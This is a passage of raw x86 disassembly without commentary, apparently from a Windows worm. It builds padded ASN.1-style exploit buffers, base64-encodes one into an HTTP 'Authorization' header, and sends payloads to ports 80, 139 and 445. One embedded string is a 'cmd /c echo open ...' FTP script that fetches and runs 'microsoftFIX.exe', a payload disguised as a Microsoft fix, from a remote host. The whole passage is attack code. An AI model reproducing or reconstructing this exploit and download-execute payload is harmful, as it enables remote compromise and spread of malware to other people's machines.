loc_40B1BD push edi push 0 push esi call sub_417070 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4187B0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4187B0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40B1BD: ; CODE XREF: sub_40B171+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40B171 endp ; =============== S U B R O U T I N E ======================================= sub_40B1C6 proc near ; CODE XREF: sub_40B26B+5Ep ; sub_40B26B+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40B1D6 push eax call sub_415820 pop ecx loc_40B1D6: ; CODE XREF: sub_40B1C6+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40B1C6 endp ; =============== S U B R O U T I N E ======================================= sub_40B1DF proc near ; CODE XREF: sub_40B26B+20p ; sub_40B346+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40B20C xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_414DB0 mov edi, eax pop ecx test edi, edi jnz short loc_40B210 loc_40B20C: ; CODE XREF: sub_40B1DF+Dj xor al, al jmp short loc_40B267 ; --------------------------------------------------------------------------- loc_40B210: ; CODE XREF: sub_40B1DF+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417070 add esp, 0Ch cmp ebx, 1 jnz short loc_40B235 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40B24F ; --------------------------------------------------------------------------- loc_40B235: ; CODE XREF: sub_40B1DF+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40B24F: ; CODE XREF: sub_40B1DF+54j push eax call sub_4187B0 add esp, 0Ch push dword ptr [esi] call sub_415820 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40B267: ; CODE XREF: sub_40B1DF+2Fj pop edi pop esi pop ebx retn sub_40B1DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B26B proc near ; CODE XREF: sub_40B3A1+89p ; sub_40B3A1+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4D6210 call sub_40B171 lea ecx, [ebp+var_8] call sub_40B1DF mov eax, [ebp+var_4] inc eax push eax call sub_414DB0 mov edi, eax pop ecx test edi, edi jnz short loc_40B2A5 xor al, al jmp short loc_40B2E1 ; --------------------------------------------------------------------------- loc_40B2A5: ; CODE XREF: sub_40B26B+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417070 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4187B0 add esp, 18h mov ecx, esi call sub_40B1C6 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40B1C6 mov al, 1 loc_40B2E1: ; CODE XREF: sub_40B26B+38j pop edi pop esi leave retn sub_40B26B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2E5 proc near ; CODE XREF: sub_40B319+14p ; sub_40B336+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40B171 mov ecx, esi call sub_40B1C6 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40B2E5 endp ; =============== S U B R O U T I N E ======================================= sub_40B319 proc near ; CODE XREF: sub_40B3A1+F0p ; sub_40B3A1+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_414BE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40B2E5 pop esi retn 4 sub_40B319 endp ; =============== S U B R O U T I N E ======================================= sub_40B336 proc near ; CODE XREF: sub_40B382+Bp ; sub_40B3A1+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B2E5 retn 8 sub_40B336 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B346 proc near ; CODE XREF: sub_40B382+16p ; sub_40B3A1+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40B1DF test al, al jz short loc_40B37F push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_43F1BF+1) call sub_40B171 mov ecx, esi call sub_40B1C6 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40B37F: ; CODE XREF: sub_40B346+Fj pop esi leave retn sub_40B346 endp ; =============== S U B R O U T I N E ======================================= sub_40B382 proc near ; CODE XREF: sub_40B3A1+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40B336 test al, al jz short loc_40B39D mov ecx, esi call sub_40B346 loc_40B39D: ; CODE XREF: sub_40B382+12j pop esi retn 8 sub_40B382 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3A1 proc near ; CODE XREF: ___:0040BC00p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40B0FF mov edi, 408h cmp [ebp+arg_8], edi jg loc_40B6F5 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40B6F5 push esi lea ecx, [ebp+var_30] call sub_40B0FF lea ecx, [ebp+var_20] call sub_40B0FF lea ecx, [ebp+var_50] call sub_40B0FF lea ecx, [ebp+var_18] call sub_40B0FF lea ecx, [ebp+var_40] call sub_40B0FF lea ecx, [ebp+var_38] call sub_40B0FF lea ecx, [ebp+var_28] call sub_40B0FF push 4 push offset dword_43EE60 lea ecx, [ebp+var_30] call sub_40B2E5 push 3 push offset dword_43EE68 lea ecx, [ebp+var_30] call sub_40B2E5 lea ecx, [ebp+var_30] call sub_40B26B lea ecx, [ebp+var_30] call sub_40B346 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417070 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40B2E5 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40B2E5 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40B2E5 lea ecx, [ebp+var_20] call sub_40B26B push offset loc_43F1C4 lea ecx, [ebp+var_50] call sub_40B319 lea ecx, [ebp+var_50] call sub_40B26B push esi lea eax, [ebp+var_858] push 44h push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40B137 lea ecx, [ebp+var_58] call sub_40B26B push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40B382 lea ecx, [ebp+var_58] call sub_40B1C6 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417070 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40B319 push 4 push offset dword_43EE6C lea ecx, [ebp+var_18] call sub_40B2E5 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40B2E5 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40B2E5 lea ecx, [ebp+var_18] call sub_40B26B push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40B336 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40B336 lea ecx, [ebp+var_40] call sub_40B346 lea ecx, [ebp+var_18] call sub_40B1C6 lea ecx, [ebp+var_50] call sub_40B1C6 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40B336 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40B336 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40B336 lea ecx, [ebp+var_38] call sub_40B346 lea ecx, [ebp+var_20] call sub_40B1C6 lea ecx, [ebp+var_30] call sub_40B1C6 lea ecx, [ebp+var_40] call sub_40B1C6 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40B2E5 lea ecx, [ebp+var_28] call sub_40B26B push 2 push offset dword_43F1D8 lea ecx, [ebp+var_28] call sub_40B2E5 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40B336 lea ecx, [ebp+var_28] call sub_40B346 lea ecx, [ebp+var_38] call sub_40B1C6 lea ecx, [ebp+var_10] call sub_40B0FF lea ecx, [ebp+var_8] call sub_40B0FF push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40B336 lea ecx, [ebp+var_10] call sub_40B1DF lea ecx, [ebp+var_28] call sub_40B1C6 push offset dword_43F1DC lea ecx, [ebp+var_8] call sub_40B319 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40B336 lea ecx, [ebp+var_8] call sub_40B1DF lea ecx, [ebp+var_10] call sub_40B1C6 push offset dword_43F1E0 lea ecx, [ebp+var_10] call sub_40B319 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40B336 lea ecx, [ebp+var_10] call sub_40B1DF lea ecx, [ebp+var_8] call sub_40B1C6 push offset dword_43F1E4 lea ecx, [ebp+var_8] call sub_40B319 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40B336 lea ecx, [ebp+var_8] call sub_40B1DF lea ecx, [ebp+var_10] call sub_40B1C6 push offset dword_43F1F0 lea ecx, [ebp+var_48] call sub_40B319 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40B336 lea ecx, [ebp+var_8] call sub_40B1C6 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40B703 ; --------------------------------------------------------------------------- loc_40B6F5: ; CODE XREF: sub_40B3A1+1Bj ; sub_40B3A1+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40B703: ; CODE XREF: sub_40B3A1+352j pop edi pop ebx leave retn sub_40B3A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B707 proc near ; CODE XREF: sub_40B7CB+A1p ; sub_40B7CB+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40B76E lea eax, [ebp+var_10C] push eax push esi call sub_431972 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40B772 loc_40B76E: ; CODE XREF: sub_40B707+54j xor eax, eax jmp short loc_40B782 ; --------------------------------------------------------------------------- loc_40B772: ; CODE XREF: sub_40B707+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_445360 loc_40B782: ; CODE XREF: sub_40B707+69j pop edi pop esi leave retn sub_40B707 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B786 proc near ; CODE XREF: sub_40B7CB+81p ; sub_40B7CB+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_445344 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_445398 cmp eax, 4 jz short loc_40B7B0 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40B7B0: ; CODE XREF: sub_40B786+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_445398 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40B786 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7CB proc near ; CODE XREF: sub_40B8A5+48p ; ___:0040BCDDp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_414DB0 mov esi, eax pop ecx test esi, esi jnz short loc_40B7F4 xor al, al jmp loc_40B8A0 ; --------------------------------------------------------------------------- loc_40B7F4: ; CODE XREF: sub_40B7CB+20j push ebx push 0 push esi call sub_417070 push 2Fh push offset dword_43EEFC push esi call sub_4187B0 push 8 lea eax, [esi+31h] push offset dword_43EF2C push eax mov [esi+2Fh], di call sub_4187B0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4187B0 push 6 add ebx, edi push offset dword_4D6208 push ebx call sub_4187B0 mov ebx, [ebp+arg_0] push 85h push offset dword_43EE74 push ebx call sub_40B786 add esp, 48h test al, al jnz short loc_40B85C loc_40B858: ; CODE XREF: sub_40B7CB+B5j xor bl, bl jmp short loc_40B897 ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40B7CB+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40B707 push [ebp+var_4] push esi push ebx call sub_40B786 add esp, 1Ch test al, al jz short loc_40B858 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40B707 add esp, 10h mov bl, 1 loc_40B897: ; CODE XREF: sub_40B7CB+8Fj push esi call sub_415820 pop ecx mov al, bl loc_40B8A0: ; CODE XREF: sub_40B7CB+24j pop edi pop esi pop ebx leave retn sub_40B7CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8A5 proc near ; CODE XREF: ___:0040BCC3p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_43EF38 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40B8E0 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40B707 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40B8E0 cmp [ebp+var_20], 82h jz short loc_40B8E4 loc_40B8E0: ; CODE XREF: sub_40B8A5+1Bj ; sub_40B8A5+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40B8E4: ; CODE XREF: sub_40B8A5+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40B7CB add esp, 0Ch leave retn sub_40B8A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8F7 proc near ; CODE XREF: sub_40B943+29p var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_433460 call sub_41915C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_433458 fstp [esp+10h+var_10] call sub_418F70 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41915C inc eax leave retn sub_40B8F7 endp ; =============== S U B R O U T I N E ======================================= sub_40B943 proc near ; CODE XREF: sub_40BABA+23p var_40 = qword ptr -40h mov eax, offset loc_4320BF call sub_4197A0 sub esp, 2Ch push esi lea eax, [ebp-0Dh] push edi xor esi, esi push eax lea ecx, [ebp-38h] mov [ebp-20h], esi call sub_40BD49 push 1 pop edi push dword ptr [ebp+10h] mov [ebp-4], edi call sub_40B8F7 pop ecx push eax lea ecx, [ebp-38h] call sub_40BE5E cmp [ebp+10h], esi mov [ebp-18h], esi jbe loc_40BA8E push ebx mov ebx, [ebp+10h] loc_40B98B: ; CODE XREF: sub_40B943+144j cmp dword ptr [ebp+10h], 3 jb short loc_40B996 push 3 loc_40B993: ; CODE XREF: sub_40B943+5Bj pop ebx jmp short loc_40B9A7 ; --------------------------------------------------------------------------- loc_40B996: ; CODE XREF: sub_40B943+4Cj cmp dword ptr [ebp+10h], 2 jnz short loc_40B9A0 push 2 jmp short loc_40B993 ; --------------------------------------------------------------------------- loc_40B9A0: ; CODE XREF: sub_40B943+57j cmp [ebp+10h], edi jnz short loc_40B9A7 mov ebx, edi loc_40B9A7: ; CODE XREF: sub_40B943+51j ; sub_40B943+60j and dword ptr [ebp-24h], 0 mov [ebp-28h], ebx fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_433468 fstp [esp+40h+var_40] call sub_419190 pop ecx pop ecx call sub_41915C test ebx, ebx mov [ebp-1Ch], eax jbe short loc_40B9E8 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx push 1 and ecx, 3 rep movsb pop edi loc_40B9E8: ; CODE XREF: sub_40B943+8Aj mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh test eax, eax mov [ebp-11h], cl jbe short loc_40BA55 add [ebp-18h], eax loc_40BA3A: ; CODE XREF: sub_40B943+110j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_43EF84[eax] push eax push edi call sub_40BDDE inc esi cmp esi, [ebp-1Ch] jb short loc_40BA3A loc_40BA55: ; CODE XREF: sub_40B943+F2j cmp dword ptr [ebp-18h], 48h jb short loc_40BA6A push dword ptr [ebp+14h] lea ecx, [ebp-38h] call sub_40BDB6 and dword ptr [ebp-18h], 0 loc_40BA6A: ; CODE XREF: sub_40B943+116j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40BA83 sub esi, [ebp-1Ch] loc_40BA75: ; CODE XREF: sub_40B943+13Ej push 3Dh push edi lea ecx, [ebp-38h] call sub_40BDDE dec esi jnz short loc_40BA75 loc_40BA83: ; CODE XREF: sub_40B943+12Dj cmp dword ptr [ebp+10h], 0 ja loc_40B98B pop ebx loc_40BA8E: ; CODE XREF: sub_40B943+3Ej mov ecx, [ebp+8] lea eax, [ebp-38h] push eax call sub_40BD61 mov [ebp-20h], edi and byte ptr [ebp-4], 0 lea ecx, [ebp-38h] call sub_40BDAE mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi mov large fs:0, ecx leave retn sub_40B943 endp ; =============== S U B R O U T I N E ======================================= sub_40BABA proc near ; CODE XREF: ___:0040BCA6p mov eax, offset loc_4320D9 call sub_4197A0 sub esp, 10h push ebx push esi push edi push offset dword_4D6214 and dword ptr [ebp-4], 0 push dword ptr [ebp+10h] lea eax, [ebp-1Ch] push dword ptr [ebp+0Ch] push eax call sub_40B943 add esp, 10h lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 1 call sub_40BE5A lea ecx, [ebp+14h] mov esi, eax call sub_40BE5A lea esi, [esi+eax+36h] push esi call sub_414DB0 mov edi, eax pop ecx test edi, edi jnz short loc_40BB10 xor bl, bl jmp short loc_40BB4F ; --------------------------------------------------------------------------- loc_40BB10: ; CODE XREF: sub_40BABA+50j lea ecx, [ebp-1Ch] call sub_40BE4D push eax lea ecx, [ebp+14h] call sub_40BE4D push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_4172D0 add esp, 14h push 0 push esi push edi push dword ptr [ebp+8] call dword_445398 cmp eax, esi jz short loc_40BB46 xor bl, bl jmp short loc_40BB48 ; --------------------------------------------------------------------------- loc_40BB46: ; CODE XREF: sub_40BABA+86j mov bl, 1 loc_40BB48: ; CODE XREF: sub_40BABA+8Aj push edi call sub_415820 pop ecx loc_40BB4F: ; CODE XREF: sub_40BABA+54j and byte ptr [ebp-4], 0 lea ecx, [ebp-1Ch] call sub_40BDAE or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_40BDAE mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40BABA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 428h and byte ptr [ebp-428h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-427h] push 8Fh rep stosd stosw stosb lea eax, [ebp-428h] push offset sub_43F130 push eax call sub_4187B0 add esp, 0Ch mov eax, offset aMicrosoftfix_e ; "microsoftFIX.exe" push eax push eax movzx eax, word ptr dword_4D3010 push eax push dword ptr [ebp+8] call sub_40267D pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-399h] push 400h push eax call sub_4172D0 add eax, 90h push eax lea eax, [ebp-428h] push eax push 164h lea eax, [ebp-28h] push offset sub_43EFC8 push eax call sub_40B3A1 mov ecx, [eax] xor ebx, ebx mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, ebx mov [ebp-4], eax jnz short loc_40BC20 xor eax, eax jmp loc_40BD2E ; --------------------------------------------------------------------------- loc_40BC20: ; CODE XREF: ___:0040BC17j mov [ebp-0Ch], ebx loc_40BC23: ; CODE XREF: ___:0040BD05j test ebx, ebx jnz loc_40BD0B push 6 push 1 push 2 nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40BCF3 xor eax, eax lea edi, [ebp-1Eh] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-20h], 2 call dword_445348 mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_445388 mov [ebp-1Ch], eax lea eax, [ebp-20h] push 10h push eax push esi call dword_4452F0 cmp eax, 0FFFFFFFFh jz short loc_40BCE8 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40BCB0 sub esp, 10h lea eax, [ebp-0Dh] mov ecx, esp mov [ebp-24h], esp push eax lea eax, [ebp+0Ch] push eax call sub_40BD8B push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40BABA add esp, 1Ch jmp short loc_40BCE5 ; --------------------------------------------------------------------------- loc_40BCB0: ; CODE XREF: ___:0040BC88j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40BCCA push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40B8A5 jmp short loc_40BCE2 ; --------------------------------------------------------------------------- loc_40BCCA: ; CODE XREF: ___:0040BCBAj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40BCE8 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_40B7CB loc_40BCE2: ; CODE XREF: ___:0040BCC8j add esp, 0Ch loc_40BCE5: ; CODE XREF: ___:0040BCAEj movzx ebx, al loc_40BCE8: ; CODE XREF: ___:0040BC7Fj ; ___:0040BCD4j push esi call dword_4453E0 test ebx, ebx jnz short loc_40BCFE loc_40BCF3: ; CODE XREF: ___:0040BC3Cj push 3E8h nop call near ptr 2690599h loc_40BCFE: ; CODE XREF: ___:0040BCF1j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40BC23 loc_40BD0B: ; CODE XREF: ___:0040BC25j lea ecx, [ebp-8] call sub_40B1C6 test ebx, ebx jz short loc_40BD2C mov eax, [ebp+0B0h] shl eax, 6 inc dword_43DE40[eax] lea eax, dword_43DE40[eax] loc_40BD2C: ; CODE XREF: ___:0040BD15j mov eax, ebx loc_40BD2E: ; CODE XREF: ___:0040BC1Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40BD33: ; DATA XREF: ___:00436008o call sub_40C32A jmp $+5 push offset nullsub_1 call sub_419C90 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40BD49 proc near ; CODE XREF: sub_40B943+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40C0CB mov eax, esi pop esi retn 4 sub_40BD49 endp ; =============== S U B R O U T I N E ======================================= sub_40BD61 proc near ; CODE XREF: sub_40B943+152p ; sub_4314F0+3Cp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push 0 mov al, [edi] mov [esi], al call sub_40C0CB push dword_433470 mov ecx, esi push 0 push edi call sub_40BEDC mov eax, esi pop edi pop esi retn 4 sub_40BD61 endp ; =============== S U B R O U T I N E ======================================= sub_40BD8B proc near ; CODE XREF: ___:0040BC9Ap ; sub_431490+27p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push 0 mov al, [eax] mov [esi], al call sub_40C0CB push [esp+4+arg_0] mov ecx, esi call sub_40BFD2 mov eax, esi pop esi retn 8 sub_40BD8B endp ; =============== S U B R O U T I N E ======================================= sub_40BDAE proc near ; CODE XREF: sub_40B943+161p ; sub_40BABA+9Cp ... push 1 call sub_40C0CB retn sub_40BDAE endp ; =============== S U B R O U T I N E ======================================= sub_40BDB6 proc near ; CODE XREF: sub_40B943+11Ep arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40BDD3 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40BE72 pop esi retn 4 sub_40BDB6 endp ; =============== S U B R O U T I N E ======================================= sub_40BDD3 proc near ; CODE XREF: sub_40BDB6+7p ; sub_40BFD2+7p arg_0 = dword ptr 4 push [esp+arg_0] call sub_414BE0 pop ecx retn sub_40BDD3 endp ; =============== S U B R O U T I N E ======================================= sub_40BDDE proc near ; CODE XREF: sub_40B943+107p ; sub_40B943+138p arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_433470 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40BDF8 call sub_431490 loc_40BDF8: ; CODE XREF: sub_40BDDE+13j test ebx, ebx jbe short loc_40BE2C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40C01F test al, al jz short loc_40BE2C lea eax, [esp+0Ch+arg_4] push eax mov eax, [esi+4] add eax, [esi+8] push ebx push eax call sub_40BE34 add esp, 0Ch mov ecx, esi push edi call sub_40BFEF loc_40BE2C: ; CODE XREF: sub_40BDDE+1Cj ; sub_40BDDE+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40BDDE endp ; =============== S U B R O U T I N E ======================================= sub_40BE34 proc near ; CODE XREF: sub_40BDDE+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push [esp+arg_4] movsx eax, byte ptr [eax] push eax push [esp+8+arg_0] call sub_417070 add esp, 0Ch retn sub_40BE34 endp ; =============== S U B R O U T I N E ======================================= sub_40BE4D proc near ; CODE XREF: sub_40BABA+59p ; sub_40BABA+62p ... mov eax, [ecx+4] test eax, eax jnz short locret_40BE59 call sub_40C0C5 locret_40BE59: ; CODE XREF: sub_40BE4D+5j retn sub_40BE4D endp ; =============== S U B R O U T I N E ======================================= sub_40BE5A proc near ; CODE XREF: sub_40BABA+32p ; sub_40BABA+3Cp mov eax, [ecx+8] retn sub_40BE5A endp ; =============== S U B R O U T I N E ======================================= sub_40BE5E 